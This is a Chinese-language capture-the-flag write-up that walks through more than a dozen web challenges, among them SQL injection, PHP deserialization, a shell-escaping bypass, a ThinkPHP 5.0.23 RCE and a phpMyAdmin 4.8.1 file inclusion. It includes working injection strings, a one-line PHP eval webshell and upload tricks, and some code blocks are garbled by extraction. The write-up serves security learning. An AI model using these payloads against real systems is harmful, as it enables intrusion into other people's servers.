前言
接上篇,继续刷题
正文
[极客大挑战 2019]HardSQL
考点:报错注入。过滤了空白字符、=等
EXP:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 
 | # 取表名check.php?username=1&password=1%27^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)regexp(database())),0x7e),1)%23
 
 # 取列名
 check.php?username=1&password=1%27^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_schema)regexp(database())),0x7e),1)%23
 
 # 读数据
 check.php?username=1&password=1%27^updatexml(1,concat(0x7e,(select(group_concat(id,password,username))from(H4rDsq1)),0x7e),1)%23
 
 # 读取不全使用right()取右边部分内容
 
 | 
[GXYCTF2019]BabySQli
登录注入题。
老规矩,先分别使用单引号试报错,顺便看看pw参数有无带入数据库查询(与常见登录验证判断有关)。
尝试后发现,user参数报错,pw不报错。
猜测后端验证逻辑应该是先通过用户名查询数据库信息,再与pw参数做比较。
对于这种验证码方法我们通常采用联合注入法,通过控制返回内容来绕过登录。
EXP:
| 12
 3
 
 | POST /search.php
 name=1'union select 1,'admin','202cb962ac59075b964b07152d234b70'%23&pw=123
 
 | 
[RoarCTF 2019]Easy Java
打开题目,发现页面存在一个奇怪链接:
| 1
 | <center><p><a href="Download?filename=help.docx" target="_blank">help</a></p></center>
 | 
看样子应该是一个任意文件下载,只不过不知道能不能跨目录出去读取其他文件。
这里存在一个脑洞,直接GET会报错,改换POST访问才行。
| 1
 | java.io.FileNotFoundException:{help.docx}
 | 
不过也是通过这个“脑洞”,让我们得知此题的后端程序是java。
我们知道,对于java的web开发,WEB-INF文件夹至关重要,其中的web.xml文件对要访问的文件进行相应映射才能访问。
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class。
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件。
利用:
通过找到web.xml文件,推断class文件路径,最后下载class文件,通过反编译class文件,得到网站源码。
摘自:Web源码泄露总结
故我们读取/WEB-INF/web.xml。

根据命名规则我们推断该class对应的字节码文件应存放在:
| 1
 | /WEB-INF/classes/com/wm/ctf/FlagController.class
 | 
读取后得到flag:

[网鼎杯 2020 青龙组]AreUSerialz
打开题目,得到源码:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 
 | <?php
 include("flag.php");
 
 highlight_file(__FILE__);
 
 class FileHandler {
 
 protected $op;
 protected $filename;
 protected $content;
 
 function __construct() {
 $op = "1";
 $filename = "/tmp/tmpfile";
 $content = "Hello World!";
 $this->process();
 }
 
 public function process() {
 if($this->op == "1") {
 $this->write();
 } else if($this->op == "2") {
 $res = $this->read();
 $this->output($res);
 } else {
 $this->output("Bad Hacker!");
 }
 }
 
 private function write() {
 if(isset($this->filename) && isset($this->content)) {
 if(strlen((string)$this->content) > 100) {
 $this->output("Too long!");
 die();
 }
 $res = file_put_contents($this->filename, $this->content);
 if($res) $this->output("Successful!");
 else $this->output("Failed!");
 } else {
 $this->output("Failed!");
 }
 }
 
 private function read() {
 $res = "";
 if(isset($this->filename)) {
 $res = file_get_contents($this->filename);
 }
 return $res;
 }
 
 private function output($s) {
 echo "[Result]: <br>";
 echo $s;
 }
 
 function __destruct() {
 if($this->op === "2")
 $this->op = "1";
 $this->content = "";
 $this->process();
 }
 
 }
 
 function is_valid($s) {
 for($i = 0; $i < strlen($s); $i++)
 if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
 return false;
 return true;
 }
 
 if(isset($_GET{'str'})) {
 
 $str = (string)$_GET['str'];
 if(is_valid($str)) {
 $obj = unserialize($str);
 }
 
 }
 
 | 
简单的反序列题+LFI,关键就在于is_valid函数的绕过。
此函数限制了payload对应的ascii码区间范围。
若我们直接正常的使用如下payload:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | <?php
 class FileHandler {
 
 protected $op="2";
 
 protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
 protected $content="123";
 }
 
 $a = new FileHandler();
 echo urlencode(serialize($a));
 ?>
 
 | 
会发现payload中有不可见字符%00,该字符的ascii值是0,会被is_valid拦截。
法一:php7.1+版本对属性类型不敏感
直接修改为public属性,EXP:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | <?php
 class FileHandler {
 
 public $op="2";
 
 public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
 public $content="123";
 }
 
 $a = new FileHandler();
 echo urlencode(serialize($a));
 ?>
 
 | 
法二:使用16进制绕过
对于%00出现的属性,只需要将变量名前的小写的s改成大写的S,即可将变量名用16进制表示。
| 12
 
 | 如:s:11:'%00*%00filename';表示为:S:11:'\x00*\x00filename';
 
 | 
打开题目得源码:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | <?php
 if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
 $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
 }
 
 if(!isset($_GET['host'])) {
 highlight_file(__FILE__);
 } else {
 $host = $_GET['host'];
 $host = escapeshellarg($host);
 $host = escapeshellcmd($host);
 $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
 echo 'you are in sandbox '.$sandbox;
 @mkdir($sandbox);
 chdir($sandbox);
 echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
 }
 
 | 
命令执行题,本题关键是得绕过escapeshellarg与escapeshellcmd。
关键点再与此处连续套用了转义函数,导致出现了由此产生的bypass绕过方法。
对于$host=a'b来说
| 12
 3
 
 | escapeshellarg转义后为:'a\'''b'而后经escapeshellcmd转义后为: 'a\\'''b'
 如此以来片会造成引号的逃离
 
 | 
EXP:
| 1
 | ?host=' <?php @eval($_POST["cmd"]);?> -oG evil.php '
 | 
Nmap中-oG参数也将输出结果写入文件,我们利用此来写入一个webshell。
然后用蚁剑等webshell管理工具连接读取flag即可。
[GYCTF2020]Blacklist
强网杯随便注魔改题。
考点:handler代替select查询。
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
| 12
 3
 4
 5
 6
 
 | handler users open as yunensec; handler yunensec read first;
 handler yunensec read next;
 handler yunensec read next;
 ...
 handler yunensec close;
 
 | 
EXP:
| 1
 | 1';handler `FlagHere` open as yunensec;handler yunensec read first;#
 | 
[BJDCTF 2nd]old-hack
打开题目,发现页面存在Powered by THINKPHP5的提示。
随便访问一个控制器:/index.php?s=/index/aaaa,在debug页得到tp版本为5.0.23。
Google一下tp5.0.23的漏洞,发现RCE一枚。
| 12
 3
 
 | # ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debugPOST /
 _method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
 
 | 
摘自:https://y4er.com/post/thinkphp5-rce/

[De1CTF 2019]SSRF Me
题目给出Hint:flag is in ./flag.txt。
打开题目给出源代码:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 
 | 
 from flask import Flask
 from flask import request
 import socket
 import hashlib
 import urllib
 import sys
 import os
 import json
 
 reload(sys)
 sys.setdefaultencoding('latin1')
 
 app = Flask(__name__)
 
 secert_key = os.urandom(16)
 
 class Task:
 def __init__(self, action, param, sign, ip):
 self.action = action
 self.param = param
 self.sign = sign
 self.sandbox = md5(ip)
 if(not os.path.exists(self.sandbox)):
 
 os.mkdir(self.sandbox)
 
 def Exec(self):
 result = {}
 result['code'] = 500
 if (self.checkSign()):
 if "scan" in self.action:
 tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
 resp = scan(self.param)
 if (resp == "Connection Timeout"):
 result['data'] = resp
 else:
 print resp tmpfile.write(resp)
 
 tmpfile.close()
 
 result['code'] = 200
 
 if "read" in self.action:
 f = open("./%s/result.txt" % self.sandbox, 'r')
 result['code'] = 200
 result['data'] = f.read()
 if result['code'] == 500:
 result['data'] = "Action Error"
 else:
 result['code'] = 500
 result['msg'] = "Sign Error"
 
 return result
 
 def checkSign(self):
 if (getSign(self.action, self.param) == self.sign):
 return True
 else:
 return False
 
 
 @app.route("/geneSign", methods=['GET', 'POST'])
 
 def geneSign():
 param = urllib.unquote(request.args.get("param", ""))
 action = "scan"
 return getSign(action, param)
 
 @app.route('/De1ta',methods=['GET','POST'])
 def challenge():
 action = urllib.unquote(request.cookies.get("action"))
 param = urllib.unquote(request.args.get("param", ""))
 sign = urllib.unquote(request.cookies.get("sign"))
 ip = request.remote_addr
 if(waf(param)):
 return "No Hacker!!!!"
 task = Task(action, param, sign, ip)
 return json.dumps(task.Exec())
 
 @app.route('/')
 def index():
 return open("code.txt","r").read()
 
 def scan(param):
 socket.setdefaulttimeout(1)
 try:
 return urllib.urlopen(param).read()[:50]
 except:
 return "Connection Timeout"
 
 def getSign(action, param):
 return hashlib.md5(secert_key + param + action).hexdigest()
 
 def md5(content):
 return hashlib.md5(content).hexdigest()
 
 def waf(param):
 check=param.strip().lower()
 if check.startswith("gopher") or check.startswith("file"):
 return True
 else:
 return False
 
 if __name__ == '__main__':
 app.debug = False app.run(host='0.0.0.0',port=80)
 
 | 
考点:MD5长度拓展攻击、local_file协议。
利用长度拓展攻击绕过sign的验证,再利用local_file协议读取文件内容(file协议为封装好的local_file协议)即可,不过直接不填写任何协议直接让param为flag.txt也可以,因为如果不写协议名称默认即为file协议。
由于篇幅限制,这里不进行对hash长度拓展攻击的解读。
[GKCTF2020]cve版签到
题目给出提示:cve-2020-7066
通过搜索引擎查找得到如下信息:https://bugs.php.net/bug.php?id=79329

可以看到在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中get_headers函数存在00截断问题。
题目首页告诉了我们:
| 1
 | You just view *.ctfhub.com
 | 
故不能直接输入其他的地址,故我们尝试截断试试让其获取的值为本地IP:127.0.0.1:
 可以看到题目返回了PHP版本为7.3.15,00截断问题存在,而后又给出了提示,HOST必须为123,修改或访问得到FLAG:
可以看到题目返回了PHP版本为7.3.15,00截断问题存在,而后又给出了提示,HOST必须为123,修改或访问得到FLAG:

[GXYCTF2019]禁止套娃
打开题目,首页显示:
查看源代码以及响应头,均无tips给出
使用direarch扫描文件,得到如下结果:

发现存在.git目录泄露,尝试还有lijiejie的githack脚本还原代码:
| 1
 | python2 Githack.py http://www.example.com/.git/
 | 
得到文件index.php,源代码如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 
 | <?phpinclude "flag.php";
 echo "flag在哪里呢?<br>";
 if(isset($_GET['exp'])){
 if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
 if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
 if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
 
 @eval($_GET['exp']);
 }
 else{
 die("还差一点哦!");
 }
 }
 else{
 die("再好好想想!");
 }
 }
 else{
 die("还想读flag,臭弟弟!");
 }
 }
 
 ?>
 
 | 
很明显,题目需要我们构造一个无参命令执行payload。
常见的无参构造利用方法如下:
- getenv()+array_rand()+array_flip(),其中getenv返回包含当前环境信息的数组,array_rand随机返回数组的值,array_flip将数组键值互换。
- end(getallheaders())
- apache+array_rand()+end()+ger_defined_vars()
- hex2bin()+session_id()+session_start(),PHPSESSION允许数字与字母出现(部分符号也可,如括号,点号)。
- dirname()取目录参数的上一级目录,getcwd()取当前目录,chdir设置当前工作目录。跨目录读取demo:readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));。
- readfile(next(array_reverse(scandir(current(localeconv())))));
摘自:PHP Parametric Function RCE)
- end() – 将内部指针指向数组中的最后一个元素,并输出
- next() – 将内部指针指向数组中的下一个元素,并输出
- prev() – 将内部指针指向数组中的上一个元素,并输出
- reset() – 将内部指针指向数组中的第一个元素,并输出
- each() – 返回当前元素的键名和键值,并将内部指针向前移动
常见数组操作,摘自:w3school
题目关键正则分析:[a-z,_]+\((?R)?\)
(?R)表示当前正则表达式,也就是[a-z,_]+\((?R)?\)本身,故这个表达式本质上类似套娃正则,即:
| 12
 3
 
 | [a-z,_]+\([a-z,_]+\([a-z,_]+\([a-z,_]+\(...\)\)\)\)能匹配:
 a(b(c(...))) # 任意个函数的嵌套,注意都是用的函数返回值做参
 
 | 
法一:

法二:

法三:

[MRCTF2020]你传你🐎呢
经典上传题,.htaccess解析图片即可。

上传包含php代码的文件:

访问即可得到FLAG:

简单总结下上传题经典套路:
- gif89a文件头、Content-Type: image/jpeg文件类型、上传%00截断文件名
- php、php2、php3、php4、php5、phtml、phtm后缀
- .htaccess、.user.ini特殊上传,前者要求apache环境后者要求,同目录下需要存在一个php文件
- <script language=”php”>、- <? ?>、- <?= ?>。
[安洵杯 2019]easy_web
打开题目,观察到被跳转到了另一个URL:
| 1
 | index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
 | 
img参数有点想base64编码,连续base64解码得到:

注意观察,有数字,有字母,无符号,数字0、3、5、2、7、6,字母e,满足hex的范畴,尝试hex转字符串得:
故此题的编码应该为string->hex->base64->base64
尝试读取index.php,img参数为base64_encode(base64_encode(hex2bin('index.php'))):
| 1
 | /index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
 | 
得index.php源码:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 
 | <?phperror_reporting(E_ALL || ~ E_NOTICE);
 header('content-type:text/html;charset=utf-8');
 $cmd = $_GET['cmd'];
 if (!isset($_GET['img']) || !isset($_GET['cmd']))
 header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
 $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
 
 $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
 if (preg_match("/flag/i", $file)) {
 echo '<img src ="./ctf3.jpeg">';
 die("xixiï½ no flag");
 } else {
 $txt = base64_encode(file_get_contents($file));
 echo "<img src='data:image/gif;base64," . $txt . "'></img>";
 echo "<br>";
 }
 echo $cmd;
 echo "<br>";
 if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
 echo("forbid ~");
 echo "<br>";
 } else {
 if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
 echo `$cmd`;
 } else {
 echo ("md5 is funny ~");
 }
 }
 
 ?>
 <html>
 <style>
 body{
 background:url(./bj.png)  no-repeat center center;
 background-size:cover;
 background-attachment:fixed;
 background-color:#CCCCCC;
 }
 </style>
 <body>
 </body>
 </html>
 
 | 
其中关于:
| 1
 | (string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])
 | 
的绕过是老生常谈了,这里对这种md5函数总结一下几种方法:
- 数组对比,a[]=1&b[]=2,md5($a)=null且md5($b)=null 
- 0e弱比较绕过,s878926199a和s1091221200a 
- `
 %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
 %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
 明文不同,MD5相同。
 - content: 129581926211651571912466741651878684928
 hex: 06da5430449f8f6f23dfc1276f722738
 raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1’or’8
 string: T0Do#’or’8
 - content: ffifdyop
 hex: 276f722736c95d99e921722cf9ed621c
 raw: ‘or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c
 string: ‘or’6]!r,b
 | 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 
 | + NaN和INF
 
 
 
 这里我们用第三种办法来绕过即可,而对于命令执行,我们知道,在php中,反引号\`可以当做系统命令执行,而这里又进行了很多过滤,在之前篇的刷题记录中我有提到命令执行的常见讨论,这里我们使用反斜线\绕过。
 
 在Linux中,反斜线会被省略掉,即`ca\t`与`cat`相同。
 
 故EXP:
 
 
 
 
 
 ## [MRCTF2020]Ez_bypass
 
 打开题目得到如下源代码:
 
 ```php
 <?php
 include 'flag.php';
 $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
 if(isset($_GET['gg'])&&isset($_GET['id'])) {
 $id=$_GET['id'];
 $gg=$_GET['gg'];
 if (md5($id) === md5($gg) && $id !== $gg) {
 echo 'You got the first step';
 if(isset($_POST['passwd'])) {
 $passwd=$_POST['passwd'];
 if (!is_numeric($passwd))
 {
 if($passwd==1234567)
 {
 echo 'Good Job!';
 highlight_file('flag.php');
 die('By Retr_0');
 }
 else
 {
 echo "can you think twice??";
 }
 }
 else{
 echo 'You can not get it !';
 }
 
 }
 else{
 die('only one way to get the flag');
 }
 }
 else {
 echo "You are not a real hacker!";
 }
 }
 else{
 die('Please input first');
 }
 }
 
 |  
 
简单的md5绕过+弱比较,EXP:
| 12
 3
 4
 5
 
 | POST /?gg[]=1&id[]=2 HTTP/1.1Content-Type: application/x-www-form-urlencoded
 Content-Length: 15
 
 passwd=1234567a
 
 | 
[BJDCTF2020]Mark loves cat
打开题目,页面元素过多,感觉没有啥可用的信息。
简单看一下HTML源代码+请求响应头后,就打开direarch开始扫描了:
| 1
 | python3 direarch.py -u http://x.x.x.x/ -e php,zip -t 1 # BUU请求数限制
 | 
扫描器有扫到.git目录,随后打开lijiejie的githack工具,尝试dump下源码。
主要文件index.php:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 
 | <?php
 include 'flag.php';
 
 $yds = "dog";
 $is = "cat";
 $handsome = 'yds';
 
 foreach($_POST as $x => $y){
 $$x = $y;
 }
 
 foreach($_GET as $x => $y){
 $$x = $$y;
 }
 
 foreach($_GET as $x => $y){
 if($_GET['flag'] === $x && $x !== 'flag'){
 exit($handsome);
 }
 }
 
 if(!isset($_GET['flag']) && !isset($_POST['flag'])){
 exit($yds);
 }
 
 if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
 exit($is);
 }
 
 
 
 echo "the flag is: ".$flag;
 
 | 
可用看到开头就有两个变量注册:
| 12
 3
 4
 5
 6
 7
 
 | foreach($_POST as $x => $y){$$x = $y;
 }
 
 foreach($_GET as $x => $y){
 $$x = $$y;
 }
 
 | 
会把$_GET和$_POST的键名作为变量名,值作为变量值,来组成新的变量。
接着有三段连续的死亡exit,我们不能让我们的payload执行到那里。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | foreach($_GET as $x => $y){
 if($_GET['flag'] === $x && $x !== 'flag'){
 exit($handsome);
 }
 }
 
 if(!isset($_GET['flag']) && !isset($_POST['flag'])){
 exit($yds);
 }
 
 if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
 exit($is);
 }
 
 | 
本题的关键是需要满足isset($_GET['flag']) || isset($_POST['flag']的同时,还需满足$_POST['flag'] !== 'flag'  && $_GET['flag'] !== 'flag'。
法一
| 12
 3
 
 | if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);
 }
 
 | 
通过GET方式传递参数yds=flag,使得$yds=$flag,最终执行到上述代码时带出flag的值。
法二
| 12
 3
 4
 
 | GET /?_POST=_GET&_GET=_COOKIE HTTP/1.1Host: xxxxx.node3.buuoj.cn
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
 Cookie: flag=1
 
 | 
通过覆盖$_POST与$_GET绕来两个死亡exit,通过最终的输出那道flag。

[GWCTF 2019]我有一个数据库
从题目猜出应该是与数据库有关的题目,通过扫描工具扫描得出:phpinfo.php与phpmyadmin目录。
访问phpmyadmin,访问直接已经登录好了。在首页处得到phpmyadmin版本:4.8.1。
通过phpinfo可以得到网站运行目录:/var/www/html
尝试直接写出文件,查看secure_file_priv权限,如果为’’则可以写入文件,为NULL则无权限。

再尝试修改日志路径拿shell

报错,提示权限不足。
打开搜索引擎,搜索phpmyadmin 4.8.1之后找到一个phpmyadmin的包含漏洞,详细分析地址:phpmyadmin4.8.1后台GetShell。
用图中的payload直接读取FLAG:
| 1
 | /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../flag
 | 

[GXYCTF2019]BabyUpload
这题和上边那题MRCTF2020的上传题是一样的,都是上传.httaccess文件后再上传一个jpg文件即可。

注意,这里做了文件头和php内容判断,用GIF89a和<script language='php'>php代码</script>。

读取根目录的FLAG:
| 1
 | /upload/0cffff4b7b760870553f87db86cc9953/2.jpg?cmd=highlight_file(%27/flag%27);
 | 
